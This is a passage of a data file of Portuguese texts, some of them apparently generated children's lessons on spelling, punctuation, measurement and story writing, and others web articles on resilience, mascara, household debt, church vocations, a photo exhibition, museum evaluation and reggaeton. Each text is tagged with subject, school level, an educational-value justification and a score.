espere!"" + +Perceberam a diferença? Na primeira, a ordem é para não esperar. Na segunda, há uma mudança de ideia, e a ordem é para esperar. Uma simples vírgula faz toda a diferença! + +A pontuação é uma aventura constante, cheia de descobertas e desafios. Dominar a vírgula é como ter um mapa do tesouro para escrever textos claros, precisos e interessantes. Continuem explorando, praticando e questionando. A língua portuguesa é um universo fascinante esperando para ser desvendado! E aí, prontos para a próxima aventura ortográfica?",Português,Ortografia e pontuação,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional, apresentando de forma clara e didática o uso da vírgula. A linguagem é acessível e adequada para o ensino fundamental, com exemplos práticos e relevantes. A analogia com a maratona e os pontos de hidratação torna o conceito mais fácil de entender. O texto aborda diferentes funções da vírgula (enumeração, vocativo, aposto) e alerta sobre erros comuns, além de demonstrar como a vírgula pode alterar o sentido de uma frase. É um excelente material de apoio para o ensino da pontuação.",5,1.0 +"Assim como a esponja que se enche de água e depois de espremida volta à sua condição original sem qualquer sequela, o homem pode ser capaz da mesma habilidade, levantando-se de suas quedas mais forte e superando adversidades, se exercer a resiliência na sua plenitude! +E por que a resiliência vem sendo tão mencionada e tem se tornado tão importante em nossas vidas, pessoal e profissional? +A resiliência transformou-se em uma ferramenta de inteligência emocional indispensável nos dias atuais. Quando aceitamos nossos erros e reconhecemos nossos defeitos, estamos assumindo a nossa condição atual, o que nos auxilia a enxergar tudo com serenidade e tranqüilidade, traçar um novo rumo, com ações e metas claras, contribuindo para nossa evolução de uma maneira muito natural, sem traumas ou mágoas. +Pode parecer difícil, porque muitas vezes não achamos que o erro é somente de nossa responsabilidade, sempre existe a outra parte, que nos dá um gosto amargo na boca, causa raiva e tristeza. +Quanto a isto nada podemos fazer, a resiliência implica em assumirmos a nossa parte e sermos responsáveis por transformá-la e modificá-la em benefício próprio. +A resiliência influi na inteligência, quanto mais a vida exige e mais você a exerce, mais acessará a sua capacidade mental, usufruindo de padrões desconhecidos e inutilizados até então. +Também implica em sermos humildes para assumir que precisamos de ajuda no caminho da nossa transformação, seja ajuda profissional, de amigos, familiares ou líderes. +Quanto mais aceitarmos assumir aquilo que está em nossas mãos para ser trabalhado, e menos projetarmos para fora a responsabilidade e a culpa, mais resilientes seremos. +Um exercício interessante é observar as pessoas à nossa volta, alguns dão exemplos de resiliência na forma como se portam, não se deixando abater pelas situações que a vida lhes impõe, obtendo justamente daí a força para continuar e aprimorar! É como se fosse uma aposta consigo mesmo! +Enquanto alguns projetam a responsabilidade para fora de si e sofrem com a indolência de seus atos, os resilientes extraem das exigências da vida a sua escola, galgando degraus cada vez maiores durante a sua passagem! +Busque inspiração nas pessoas certas. Das pessoas que passam pela nossa vida, admire e escolha atitudes a serem copiadas, todo mundo tem algo a oferecer. Por fim, a resiliência é uma habilidade que pode ser adquirida, desenvolvida e aprimorada, basta reconhecer a transformação que ela pode conceber na sua existência!",original,original,original,original,4,0.8 +"Desculpem a demora desse post.. mas é que tava na correria com probleminhas de saúde e a inspiração foi junto.. mas prometo recompensar essa demora esses próximos dias... +Seguinte... vamos falar sobre os nossos bonitos? Quem não ama ter cílios grandes, médios, pequenos, postiços? +Vou falar um pouquinho de como cuidar deles pós maquiagem e os tipos de rímel. +Cílios, quem são eles e para que servem?? +Assim como os fios de cabelo, os cílios também passam por ciclos de crescimento, transição, enfraquecimento e queda. +É um processo natural, mas quando em exagero é preciso entender o que está por trás do problema. A causa mais básica de perda excessiva de cílios está ligada à maquiagem. Há pessoas que são incompatíveis com alguns produtos, ao menor sinal de perda dos cílios, sem nenhum problema de saúde agregado, vale mudar a máscara de cílios. +Além desse fator que atinge a maioria dos casos, alergias e efeitos colaterais de alguns tratamentos de saúde também podem levar à queda dos fios, sendo necessário uma investigação médica mais profunda para identificar a causa. +Uma das causas é a mascara de cílios a prova d'água, que na hora de retirar o produto acabam danificando os cílios ocorrendo assim a queda. +NÃO durma com maquiagem (aplique bastante demaquilante para remoção total da sua máscara de cílios); NÃO use com muita força o seu curvex (20 segundos são mais que suficientes e não precisa de força); CUIDADO com maquiagens antigas podem estar com o prazo de validade vencido. (NÃO USE MAQUIAGEM VENCIDA, JOGUE FORA!!!). +MÁSCARAS DE CÍLIOS! Quem vive sem? EU não, e você? +Para boa parte de nós mulheres esse é o item essencial no estojo de maquiagem né, sabemos que existe várias texturas, formatos de cerdas e até mesmo os diferentes efeitos. +1. PRETO: o mais básico de todos. Sempre dá um up no olhar e escurece os fios. +2. TUBULAR (tube máscara): com fibras e muita tecnologia, ele cria uma espécie de tubo em volta de cada cílio e, por isso, dura mais, alonga e dá volume. +3. MARROM: escurece os fios, mas deixa o olhar mais leve e natural do que o rímel preto. +4. TRANSPARENTE: o mais discreto de todos, serve para modelar e dar textura aos fios. Também pode ser usado para pentear a sobrancelha e deixá-la bem definida. +5. COLORIDOS: cores como o roxo, verde e azul criam um look diferente e divertido para os olhos. O legal é passar várias camadas só do rímel colorido – nada de preto por baixo. +6. COM UM LADO BRANCO E O OUTRO LADO PRETO: indicado para quem tem poucos cílios, a parte branca serve para aumentar o volume. Aplique uma camada do rímel branco, espere secar um pouco e depois finalize com o rímel preto. +7. À PROVA D'ÁGUA: é mais difícil de passar mas se fixa por horas, firme e forte. A melhor maneira de removê-lo é com MUITO demaquilante à base de óleo. E cuidado: os cílios ficam muito duros e podem se quebrar facilmente. +1. DE CERDAS CURTAS E GROSSAS: retêm o produto entre as cerdas e aumentam o volume dos fios. +2. DE CERDAS FINAS E DURAS: quase como um pente, elas alongam os cílios sem que se formem “gomos”. +4. DE CERDAS ALTERNADAS: definem beeem os cílios, por isso é indicado para quem tem fios ralos e curtos. +5. ESCOVINHA: o modelo mais tradicional, perfeito para dar volume aos fios. +6. PENTE: mais recentes, os aplicadores em pente têm a função de pentear os cílios enquanto se aplica o produto. Os fios se alongam, ficam definidos e não grudam uns nos outros. +7. ESCOVINHA + PENTE: a junção dos dois tipos só podia ser para... alongar e dar volume, ao mesmo tempo! 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Martin, no primeiro volume da série “A Canção de Gelo e Fogo” e até desenvolveu uma versão do complexo idioma Dothraki para o projeto. +Confira então Isaac Hempstead-Wright falando sobre seu papel como Bran Stark e depois faça uma viagem interativa pelo mundo de Westeros mergulhando no The Maester’s Path, um teste para se tornar um Meistre, os curadores, professores e conselheiros deste mundo. +Meistres usam correntes como símbolo de sua aprendizagem, com cada um dos seus elos representando uma disciplina. Os jogadores de The Maester’s Path ganham elos em suas correntes completando uma série de desafios online. +A Guerra dos Tronos - Perfil do Personagem Catelyn Tully Stark | Rocky Raccoon abril 17, 2011 +A Guerra dos Tronos - Perfil do Personagem: Khal Drogo | Rocky Raccoon abril 17, 2011 +A Guerra dos Tronos - Perfil do Personagem: Robert Baratheon | Rocky Raccoon abril 17, 2011",original,original,original,original,2,0.4 +"Contas de luz, telefone, internet, prestações de carro e casa, e carnês são a maior parte dos compromissos em atraso +Autor:Mais Retorno +Data de publicação:04/10/2022 às 11:37 - +Atualizado 2 meses atrás +Compartilhe: +O endividamento familiar tornou-se uma epidemia financeira no Brasil. Hoje, a cada 100 famílias no País, 79 estão endividadas, conforme levantamento mensal realizado pela Confederação Nacional do Comércio de Bens, Serviços e Turismo (CNC). +A maior parte dessas dívidas não está atrelada a bancos, e sim a serviços em geral, como contas de luz, de telefone e de internet, carnês de loja e prestações de carro e casa. +Foto: Envato +Com tanta dívida, o País tem atingido níveis recordes de inadimplência, já que muitas famílias não conseguem pagar suas contas em dia. É o maior volume desde 2010, quando teve início a série histórica monitorada pelo CNC. +O Estadão procurou as equipes de campanha do presidente Jair Bolsonaro (PL) e do ex-presidente Luiz Inácio Lula da Silva (PT) para detalhar que medidas cada um pretende adotar caso vença o segundo turno das eleições, em 30 de outubro. +Renegociação +Na campanha do petista, a ideia é criar um programa de renegociação das dívidas de famílias e de pequenas e médias empresas, com apoio de bancos públicos e parceria com bancos privados, para oferecer condições de renegociação com os devedores. O principal projeto destas ações foi batizado de ""Desenrola"", que mira as dívidas não atreladas a bancos, mas a serviços em geral. +Já o plano de governo 2023-2026 apresentado por Bolsonaro não faz menção direta ao tema. Pelo que se pode deduzir, a partir de afirmações já feitas pelo presidente e que constam em seu programa, o foco é incentivar a geração de empregos para reaquecer a economia e, dessa forma, ampliar o poder de compra. Não existe, porém, nenhuma proposta clara que envolva diretamente renegociação de dívidas atuais, por exemplo. +Contas em atraso passam de R$ 289 bi, diz Serasa +O Brasil tem hoje mais de 67 milhões de pessoas inadimplentes, conforme dados divulgados pela Serasa em agosto. O valor dessas dívidas é superior a R$ 289 bilhões - dos quais, 28% estão relacionados a pendências com bancos e cartões de crédito. A maior parte (72%) tem a ver com contas atrasadas de serviços em geral, como luz e telefone e carnês de loja. +Coordenador do Núcleo de Acompanhamento de Políticas Públicas da Fundação Perseu Abramo, o economista Guilherme Mello, que atua na elaboração da proposta de campanha de Lula, diz que o programa ""Desenrola"" mira justamente a quitação de dívidas em geral. A proposta prevê, numa primeira etapa, ações voltadas para famílias que ganham até três salários mínimos - renda hoje de até R$ 3.636 -, mas depois ampliar o acesso para famílias com rendas mais elevadas. +""Estamos falando dessas dívidas não bancárias, que são a maioria, cerca de 73% do volume total. O plano é criar birôs de crédito no País, que serão espaços de centralização de informações, porque essas dívidas são muito dispersas, hoje você não tem esses dados centralizados. Esses birôs seriam organizados em parceria com os bancos e, também, com o SPC (Serviço de Proteção de Crédito), Serasa, Banco Central, para fazer a negociação dessas dívidas"", diz Mello. +A ideia, completa ele, é se concentrar inicialmente em clientes que foram ""negativados"", cujos débitos já são tratados como ""perdidos"" pelas empresas. +""O plano é que se ofereça grandes descontos nessas negociações, até porque grande parte dessas dívidas é de juros e multas. Hoje, isso acontece em algumas situações; mas, muitas vezes, as empresas querem receber o valor todo de uma vez, e as famílias não têm condições de pagar."" +Programa de Bolsonaro não trata do tema +Não há menção ao endividamento familiar nas 48 páginas do documento entregue pela campanha de Bolsonaro ao Tribunal Superior Eleitoral (TSE). A reportagem enviou questionamentos aos ministros Paulo Guedes (Economia), Fabio Faria (Comunicações), Ciro Nogueira (Casa Civil), além do próprio comando...",original,original,original,original,3,0.6 +"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir é super importante para sabermos o tamanho, o peso, a distância e muitas outras coisas! Imagine que você quer construir uma cabana incrível no seu quarto. Como você vai saber se a cabana vai caber? Medindo, é claro! Usamos a régua, a fita métrica ou até mesmo nossos passos para descobrir o tamanho das coisas. No dia a dia, usamos medidas o tempo todo. Quando vamos comprar pão, pedimos por peso: ""Me veja 200 gramas de pão, por favor!"". Quando marcamos um encontro com os amigos, combinamos o horário: ""Vamos brincar às 3 horas da tarde!"". E quando vamos viajar, queremos saber a distância até o destino: ""Faltam 100 quilômetros para chegarmos à praia!"". + +Existem diferentes formas de medir, e cada uma delas serve para uma coisa. Para medir o comprimento, usamos metros, centímetros e milímetros. Um metro é mais ou menos o tamanho de um passo grande de um adulto. Um centímetro é bem pequenininho, mais ou menos a largura do seu dedo mindinho. E um milímetro é ainda menor, tão pequeno que quase não dá para ver! Para medir o peso, usamos quilogramas e gramas. Um quilograma é o peso de um pacote grande de arroz. Uma grama é bem leve, como uma pena de passarinho. Já para medir o tempo, usamos segundos, minutos e horas. Um segundo passa rapidinho, é só piscar o olho. Um minuto tem 60 segundos, e uma hora tem 60 minutos. E para medir a quantidade de líquido, usamos litros e mililitros. Um litro é o que cabe em uma garrafa grande de água. Um mililitro é bem pouquinho, como algumas gotas de remédio. + +Agora, que tal praticarmos um pouco? Pegue uma régua e meça o seu caderno. Quantos centímetros ele tem de largura? E de comprimento? Depois, peça para um adulto te ajudar a pesar uma fruta na balança. Quantas gramas ela pesa? Percebe como as medidas estão presentes em tudo o que fazemos? Elas nos ajudam a organizar o mundo e a entender melhor as coisas ao nosso redor. Então, da próxima vez que você estiver brincando, cozinhando ou mesmo indo para a escola, preste atenção nas medidas. Você vai se surpreender com quantas coisas podem ser medidas!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo o conceito de medição de forma lúdica e contextualizada para o público infantil. Explica diferentes unidades de medida (comprimento, peso, tempo, volume) com exemplos práticos e relacionáveis ao dia a dia das crianças. Incentiva a experimentação e a observação, promovendo a compreensão da importância das medidas no mundo ao redor. O texto é claro, conciso e adequado para os anos iniciais do ensino fundamental, abordando conceitos relevantes do currículo.",5,1.0 +"Agosto: o mês dedicado às vocações | Unicatólica Quixadá - Blog +Unicatólica Quixadá - Blog / PASTORAL UNIVERSITÁRIA / Agosto: o mês dedicado às vocações +Neste mês de agosto, a Igreja celebra as vocações: sacerdotal, familiar, religiosa e leiga. É um mês voltado para a reflexão e a oração pelas vocações e ministérios, de forma a pedir a Deus cristãos que sejam verdadeiros sinais de comunhão e unidade no seio da Igreja. “Não foste vós que me escolhestes, fui eu que vos escolhi…” (Jo 15, 16). Instituído na XIX Assembleia Geral da Conferência Nacional dos Bispos do Brasil (CNBB) em 1981, o Mês Vocacional tem como objetivo conscientizar as comunidades da responsabilidade que elas compartilham no processo vocacional. A Igreja tem buscado celebrar este mês com animação e criatividade, suscitando novas vocações e animando as já existentes. +Durante o mês, cada domingo é reservado para a reflexão e celebração de uma vocação. No primeiro domingo – vocações sacerdotais, os sacerdotes (bispos e padres) agem em nome de Cristo e são representantes dentro das comunidades. Aos sacerdotes compete serem pastores e pais espirituais para todos sob as suas responsabilidades. Pela caridade pastoral, eles devem buscar serem sinal de unidade e contribuir para a edificação e crescimento das comunidades de forma que elas se tornem cada vez mais atuantes e verdadeiras na vivência do Evangelho. +No segundo domingo – vocação familiar, celebramos a vocação da família nas pessoas do pai e da mãe. Em tempos de violência e perda de valores, a valorização da família é essencial para a sociedade como um todo. A família é chamada, por Deus, a ser testemunha do amor e da fraternidade, colaboradora da obra da Criação. O pai e a mãe na família são fundamentais, seus papéis de educadores são pilares da unidade e bem-estar familiar cujos frutos são filhos bem formados e conscientes do que significa ser cristão e cidadãos. Os pais são representantes legítimos de Deus perante os filhos e é sua missão conduzi-los nos caminhos de Cristo, da verdade, da justiça e da paz. +No terceiro domingo – vocações religiosas, a Igreja lembra dos religiosos, homens e mulheres que consagram suas vidas a Deus e ao próximo. Desta vocação brotam carismas e atuações que enriquecem nossas comunidades com pessoas que buscam viver verdadeiramente seus votos de pobreza, castidade e obediência, são testemunhas vivas do Evangelho. Perseverantes, os religiosos estão a serviço do Povo de Deus por meio da oração, das missões da educação e das obras de caridade, com sua vida consagrada, eles demonstram que a vida evangélica é plenamente possível de ser vivida mesmo em um mundo excessivamente material e consumista. São sinais do amor de Deus e da entrega que o homem é capaz de fazer ao Senhor. +No quarto domingo – vocações leigas, celebramos todos os leigos que entre família e afazeres, dedicam-se aos trabalhos pastorais e também missionários. Os leigos atuam como colaboradores dos padres na catequese, na liturgia, nos ministérios de música, nas obras de caridade e nas diversas pastorais existentes. Ser leigo atuante é ter consciência do chamado de Deus a participar ativamente da Igreja e do Reino contribuindo para a caminhada e o crescimento das comunidades rumo a Pátria Celeste, assumir esta vocação é doar-se pelo Evangelho e estar junto a Cristo em sua missão de salvação.",original,original,original,original,3,0.6 +"Exposição fotográfica “Simply Red” vai até 31 de agosto, no Bar Bodeguita, das 20h às 23h, em Pirassununga, SP. +Fotógrafo fala sobre arte, tabus e os desafios da fotografia artística diante de uma sociedade conservadora e machista. +Deixei o rústico que inspirava as paredes antigas do bar recém inaugurado, uma bodega de história exibida por colunas, espaços e marcas do tempo. +O diálogo misterioso entre a obra e o artista. Sem fotógrafo ou fotografia, apenas um vácuo instigante, daqueles olhares que param, contemplam e se seguem. +Arte indefinida, como arte que nasce já sendo. Povoava os corpos infiltrados por poesia. Em cada cenário, tudo se perdia, transmutando-se e virando um; uma explosão, um sentimento, uma união indecifrável. +Fui para saber e me deixei por lá mesmo. Saí diferente. Por ser arte ou por ser nu? Pelo reflexo de pedaços meus e de cada um. +Um suspense calmo me levava à segurança do lar, certa e bamba, às horas de desassossego. +Quando o peito está cheio e a arte bombeia o sangue, já sei que o sono não será completo. De sonhos, coberto. De descobertas, irritantemente desperta. +Desaguavam as palavras na tentativa de descrever o que só pode ser visto. +Vá, você, na exposição e sinta por si mesmo. Conte-me depois como chegou, como saiu, como quis voltar a qualquer lugar. +A arte coloria um nu especial, tratado como obra de fina estamparia. E só assim poderia se conceber. Todas as poses não vestidas mereciam o olhar mais cuidadoso, daqueles que você inclina a cabeça um pouco de lado e tenta entender o que só foi feito para sentir. +E em casa, no abrigo quente, vomitei pelos dedos minhas palavras sobe o papel. +Lá no passado, na casa da tia, Vildnei Andrade dedilhava o início de seu olhar curioso. +Entre rolos de filme, tentativas e erros, o fotógrafo nascido em Leme, interior de São Paulo, explorava, durante a adolescência, os primeiros contatos com a câmera fotográfica. +Traços de uma intuição destemida que mais tarde dariam laço ao que viria a ser uma paixão em registrar a vida com arte. +Técnico de enfermagem, enfermeiro e advogado, seriam apenas pontos a bordar o caminho até o desafio maior: seguir o coração firme contra o preconceito de uma sociedade moralista, machista, hipócrita e conservadora. +Com o nu artístico, neste percurso de enfrentamentos, seguiu e continua abrindo caminhos para novas possibilidades, olhares e descobertas da mulher e suas impressões sobre si mesma. +O empoderamento de uma perspectiva apoiada na amplitude de uma feminilidade abundante e uma beleza sem rótulos. +Sem padrões ou imposições, mulheres retraídas voltam a se enxergar como realmente são, enquanto as mais soltas dão abertura ao óbvio e pouco reconhecido: todo corpo deve ser respeitado, cuidado e amado, dando voz à liberdade de ser e se expressar. +• Poderia nos contar um pouco sobre como chegou até a fotografia?! +V: Cheguei na fotografia por causa da minha tia. Quando eu tinha 12 anos de idade, ela comprou uma máquina fotográfica e não sabia usar. Ela deixava lá e eu ia fuçar. Acabei com um rolo inteiro de filme, ela ficou muito brava comigo, aí eu tive que comprar um outro rolo. Aprendi a colocá-lo na máquina e acabei com aquele rolo também. +Não fazia a menor noção do que era a fotografia, então eu brincava. +O tempo foi passando, fui fazendo fotos de família, de bicho, papagaio, até que eu me casei, minha filha nasceu, e tive que parar com tudo por causa de dinheiro. Com uns trinta e cinco, trinta e sete anos eu voltei a fotografar, mas também era esporádico. +Um dia precisei de fotografias das modelos, e elas mandavam umas fotos muito mal feitas, então comecei a fazer as fotos das modelos para poder utilizar no site. +Comecei a me dedicar mais, ao lado do nu, e comecei a trabalhar com essa área, mas no começo era muito sexista, não era um nu artístico, era mais “playboy”, mas era o que eu fazia porque não tinha outra referência. +Eu gostava das fotos mas não eram as fotos que eu queria fazer. Faltava alguma coisa. Aí eu conheci um professor ...",original,original,original,original,3,0.6 +"Olá, pequenos exploradores da língua portuguesa! Já pararam para pensar como as palavras são incríveis? Elas nos permitem contar histórias, expressar nossos sentimentos e aprender sobre o mundo! Hoje, vamos embarcar em uma aventura ortográfica para desvendar os segredos de como escrever corretamente e usar a pontuação para deixar nossos textos ainda mais claros e bonitos. + +Imagine que você está escrevendo um bilhete para um amigo convidando-o para brincar. Se você escrever ""Queru brinca?"", seu amigo pode até entender, mas não vai parecer muito legal, não é mesmo? A ortografia nos ensina a usar as letras certas para formar as palavras de maneira correta, como ""Quero brincar?"". Percebeu a diferença? Usar a ortografia corretamente mostra que você se importa em se comunicar de forma clara e respeitosa. + +Agora, vamos falar sobre a pontuação. Ela é como um semáforo em um texto! A vírgula (,) indica uma pequena pausa, como quando respiramos um pouquinho antes de continuar falando. O ponto final (.) mostra que a frase terminou. E o ponto de interrogação (?) indica uma pergunta. Se você escrever ""Você gosta de sorvete"", sem o ponto de interrogação, parece que você está afirmando que a pessoa gosta de sorvete, e não perguntando! Então, usar a pontuação correta muda completamente o sentido do que você quer dizer. + +Vamos ver alguns exemplos práticos? Imagine que você quer contar sobre seu animal de estimação: ""Eu tenho um gato ele é muito fofo ele gosta de brincar com a bolinha"". Viu como fica confuso sem a pontuação? Agora, veja como fica melhor: ""Eu tenho um gato. Ele é muito fofo. Ele gosta de brincar com a bolinha."" + +Outro exemplo: ""Vamos comer crianças!"". Assustador, não é? Mas se colocarmos uma vírgula: ""Vamos comer, crianças!"", estamos apenas chamando as crianças para comer. A pontuação faz toda a diferença! + +Às vezes, algumas letras podem nos confundir, como o ""s"" e o ""z"". Por exemplo, a palavra ""casa"" se escreve com ""s"", mas tem som de ""z"". É importante prestar atenção e praticar bastante a leitura e a escrita para memorizar essas diferenças. Uma dica é ler muitos livros e pedir ajuda aos seus pais ou professores quando tiver dúvidas. + +E que tal desafiar seus amigos a escreverem frases usando a pontuação correta? Vocês podem criar histórias juntos e se divertir aprendendo! Lembrem-se, a ortografia e a pontuação são ferramentas poderosas que nos ajudam a nos comunicar melhor e a expressar nossas ideias de forma clara e criativa. Então, peguem seus lápis e cadernos e comecem a explorar o mundo mágico das palavras! Agora, pense um pouco: Como a ortografia e a pontuação podem te ajudar a contar uma história ainda mais emocionante? Qual a importância de escrever corretamente para que todos entendam o que você quer dizer? Explore, experimente e divirta-se com as palavras!",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos. Apresenta informações básicas relevantes sobre ortografia e pontuação de forma clara e envolvente, utilizando exemplos práticos e linguagem acessível para o público infantil. Aborda conceitos importantes do currículo escolar de forma coerente e completa, incentivando a prática e a reflexão sobre o uso correto das palavras. É altamente relevante e proveitoso para fins educacionais no ensino fundamental, com conteúdo robusto e adequado para o nível de escolaridade.",5,1.0 +"PARTE I – CONSIDERAÇÕES GERAIS | Cadernos de Sociomuseologia +1. Estrutura da dissertação +3.1 Perguntas de partida: +4. Problemática a esclarecer +2. A relevância do estudo +1. O paradoxo do termo avaliação em museus um problema da maior relevância para a museologia contemporânea +2. Os indicadores +2.1. Descritores / indicadores +RESUMO: Os estudos exploratórios que apresentamos foram suscitados pela experiência de coordenação da candidatura que integrou a avaliação dos serviços educativos dos museus municipais de Setúbal, com base na CAFCommom Assessment Framework (Estrutura Comum de Avaliação), no âmbito do IV prémio da qualidade de serviço público, promovido pela AMDS, em 2003. Este exercicio, experiência piloto em museus, revelou-nos as potencialidades autoavaliativas da ferramenta de utilizada (CAF) e sobretudo inquietou-nos relativamente à forma, por vezes distorcida e/ou desfocada, como avaliamos e como projectamos subjectivamente nas missões, por falta de instrumentos rigorosos e adequados, aquilo que julgamos corresponder à satisfação das pessoas dentro e fora da organização museu. Pensar e avaliar os museus na óptica dos processos, medir objectivamente o impacto destes na sociedade com base na recolha partilhada e intencional das evidências e comparar, com base em critérios, os resultados obtidos com os de outras organizações, recorrendo a uma linguagem comum contribuirá, estamos em crer, para o autoconhecimento dos museus enquanto organizações e o crescente reconhecimento do seu papel nas sociedades contemporâneas. A possibilidade de discernir, em conjunto, sobre noções de qualidade em museus e de implicar as organizações museológicas na melhoria contínua dos serviços em ordem à real satisfação das necessidades, explícitas ou implícitas, dos cidadãos-clientes, incluindo nesses processos as próprias pessoas dessas organizações (os funcionários, colaboradores e parceiros dos museus), é uma perspectiva inovadora que poderá, a nosso ver, ajudar a distinguir entre museus com qualidades e o sentido global da qualidade em museus, recorrendo a formas alternativas de avaliação e autoavaliação. +VICTOR, Isabel. PARTE I – CONSIDERAÇÕES GERAIS. Cadernos de Sociomuseologia, [S.l.], v. 23, n. 23, june 2009. ISSN 1646-3714. Disponível em: . Acesso em: 24 oct. 2019.",original,original,original,original,2,0.4 +"INFÂNCIA URGENTE!!!: Movimentos sociais e organizações do Rio de Janeiro convidam para o +Movimentos sociais e organizações do Rio de Janeiro convidam para o +Nos bairros e no mundo, em luta pelo direito à cidade, pela democracia e justiça urbanas +As edições anteriores do FUM foram dominadas pelas delegações oficiais, enquadradas pela retórica e agenda das organizações multilaterais – Banco Mundial, Banco Interamericano de Desenvolvimento (BID), Banco Asiático de Desenvolvimento (BAD), Programa das Nações Unidas para o Desenvolvimento (PNUD), Aliança de Cidades, entre outras. Palavras, palavras, palavras... mas também um reiterado esforço de impor às cidades de todo mundo, em particular dos países periféricos, o modelo da cidade-empresa competitiva, dos grandes projetos de impacto, que aprofundam as desigualdades e os processos de aburguesamento. A retórica do alívio da pobreza não consegue esconder os fracassos de uma política que submete nossas cidades à lógica do mercado, tanto mais que se desconhecem, ou se silenciam, os mecanismos e processos que produzem e reproduzem cidades desiguais, social e ambientalmente injustas. +Em suas várias edições o FUM também tem sido incapaz de abrir espaço àqueles e àquelas que, em todas as cidades do mundo, resistem à lógica implacável da cidade-empresa e da cidade-mercadoria, que lutam por construir alternativas aos modelos adotados em vários governos, e difundidos pela “ajuda” internacional nem sempre desinteressada e por consultores, assim como por conferências e congressos mundiais onde a miséria urbana de milhões se transforma em frias estatísticas e promessas nunca cumpridas. +- painéis e debates em torno a 4 Eixos: Violências Urbanas e Criminalização da Pobreza; Megaeventos e a Globalização das Cidades; Justiça Ambiental na Cidade; Grandes Projetos Urbanos, Áreas Áreas Centrais e Portuárias; +Copa do Mundo, Olimpíadas, exposições internacionais. Impactos de megaeventos internacionais nas cidades, a partir das experiências internacionais e do Rio de Janeiro. Quais são os “legados” e quem são seus beneficiários? +- Grandes Projetos Urbanos, Áreas Centrais e Portuárias +“Revitalização” dos centros urbanos e áreas portuárias. Mobilidade. Processos de aburguesamento. Expulsão das populações tradicionais através da violência e através do “mercado”. Grande capital, parcerias público-privadas e a especulação fundiária. Globalização e capitalismo nas cidades. +Também serão organizadas visitas e tours guiados para permitir o contato direto com realidades urbanas pouco conhecidas, como manifestações culturais da cidade e experiências de luta – movimentos comunitários, ocupações, etc. +As atividades do “Fórum Social Urbano” ocorrerão no espaço do Centro Cultural da Ação da Cidadania Contra a Fome, à rua Avenida Barão de Tefé 75, no bairro da Saúde. Trata-se de armazém portuário edificado em 1871, restaurado em 2002, que hoje acolhe eventos políticos, artísticos e culturais. O espaço tem 14.000 m2, oferecendo amplas condições para a realização de várias atividades simultâneas, colocação de banquinhas, etc. (http://www.acaodacidadania.com.br/templates/acao//publicacao/publicacao.asp?cod_Canal=3&cod_Publicacao=6)",original,original,original,original,3,0.6 +"Olá, pequenos aventureiros das palavras! Já pensaram em como as histórias surgem? Elas não caem do céu, sabia? Alguém as inventa, as escreve e as compartilha. E hoje, vamos aprender juntos como criar as nossas próprias histórias! Preparados? + +Primeiro, imagine um mundo todinho seu. Que tipo de lugar é esse? É uma floresta mágica cheia de fadas? Ou uma cidade futurista com carros voadores? Pense nas cores, nos sons e nos cheiros desse lugar. Quanto mais detalhes você imaginar, mais fácil será criar a sua história. + +Agora, todo mundo precisa de um personagem principal, não é mesmo? Quem vai ser o herói ou a heroína da sua história? Vai ser um menino corajoso, uma menina inteligente, um cachorro falante ou até mesmo uma árvore que anda? Dê um nome legal para ele ou ela e pense em como essa personagem se veste, como ela age e o que ela mais gosta de fazer. + +Toda boa história tem um problema, um desafio que o personagem precisa enfrentar. Qual vai ser o desafio do seu personagem? Ele precisa salvar o mundo de um vilão malvado? Encontrar um tesouro perdido? Ou simplesmente fazer um novo amigo? Lembre-se que o desafio precisa ser emocionante e dar vontade de continuar lendo para saber o que vai acontecer! + +E como o personagem vai resolver esse problema? Ele vai usar a sua inteligência, a sua coragem ou a ajuda dos seus amigos? Pense em várias ideias e escolha a mais legal e surpreendente. Não tenha medo de usar a sua imaginação! + +Para deixar a história ainda mais interessante, você pode criar outros personagens que vão ajudar ou atrapalhar o personagem principal. Pode ser um amigo leal, um rival engraçado ou um monstro assustador. Cada personagem pode ter uma personalidade diferente e uma função importante na história. + +Depois de ter todas essas ideias na cabeça, chegou a hora de começar a escrever! Não se preocupe em fazer tudo perfeito de primeira. Escreva tudo o que vier à mente, sem se preocupar com erros de português ou com a ordem dos acontecimentos. O importante é colocar a sua história no papel (ou na tela do computador!). + +Quando terminar de escrever a primeira versão, leia a história com atenção. Você gostou do que escreveu? Tem alguma coisa que você gostaria de mudar ou acrescentar? Peça para um adulto ou um amigo ler a sua história e dar a opinião dele. Eles podem te dar ideias novas e te ajudar a melhorar a sua história. + +Lembre-se que escrever é como brincar: quanto mais você pratica, mais divertido fica! Então, não tenha medo de errar, de experimentar e de usar a sua imaginação. O mundo está cheio de histórias esperando para serem contadas. E a sua pode ser a próxima! + +Agora, me diga: Se você pudesse criar qualquer história, qual seria? Qual seria o personagem principal e qual seria o desafio que ele enfrentaria? Que tal começar a escrever agora mesmo? Pegue um lápis, um papel e deixe a sua imaginação voar!",Português,Produção textual,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz de forma lúdica e acessível o processo de criação de histórias, incentivando a imaginação, a criatividade e a escrita. A linguagem é adequada para crianças, e as dicas são práticas e inspiradoras. O texto aborda elementos básicos da narrativa, como personagens, cenários, desafios e soluções, de maneira clara e envolvente. Considero-o excelente para uso em sala de aula.",5,1.0 +"Natti Natasha esbanja sensualidade com Chencho Corleone, do Plan B, em clipe de ""Deja Tus Besos"" - REGGAETON BRASIL - MAIOR PORTAL DE REGGAETON DO BRASIL +Home / Chencho Corleone / Destaque / Natti Natasha / Notícias / Videoclipe / Natti Natasha esbanja sensualidade com Chencho Corleone, do Plan B, em clipe de ""Deja Tus Besos"" +Natti Natasha esbanja sensualidade com Chencho Corleone, do Plan B, em clipe de ""Deja Tus Besos"" +julho 04, 2019 Chencho Corleone, Destaque, Natti Natasha, Notícias, Videoclipe +Na última quarta-feira (3), a dominicana Natti Natasha lançou mais um clipe de seu álbum ilumiNATTI. A nova produção audiovisual traz um remix inédito de ""Deja Tus Besos"", segunda faixa do álbum. Originalmente uma canção solo, essa nova versão é uma colaboração com Chencho Corleone, do duo reggaetoneiro Plan B. +A letra da música é sexual e sem pudores. Natti deixa o tom claro logo na abertura: +Eu sou uma menina má, mas faço gostoso / Eu perco a timidez quando tiro a roupa / E quando estamos sozinhos, eu sei o que fazer +A sexualidade na música não é um tema novo para o integrante do Plan B. 